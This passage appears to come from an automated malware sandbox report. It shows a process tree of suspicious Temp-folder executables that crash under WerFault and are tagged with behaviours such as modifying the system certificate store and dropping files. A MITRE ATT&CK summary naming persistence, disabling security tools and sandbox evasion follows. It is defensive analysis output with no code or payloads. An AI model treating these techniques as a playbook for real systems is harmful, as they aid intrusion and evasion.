C:\Users\Admin\AppData\Local\Temp\51ED.exeC:\Users\Admin\AppData\Local\Temp\51ED.exe1⤵PID:3092
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3092 -s 2362⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3672
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 832 -p 2612 -ip 26121⤵PID:504
-
C:\Users\Admin\AppData\Local\Temp\5F2D.exeC:\Users\Admin\AppData\Local\Temp\5F2D.exe1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies registry class
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:6088 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 3122⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3604
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 848 -p 3092 -ip 30921⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6876
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 6088 -ip 60881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:904
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵PID:8016
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Disabling Security Tools
1Install Root Certificate
1Modify Registry
3Virtualization/Sandbox Evasion
1Web Service
1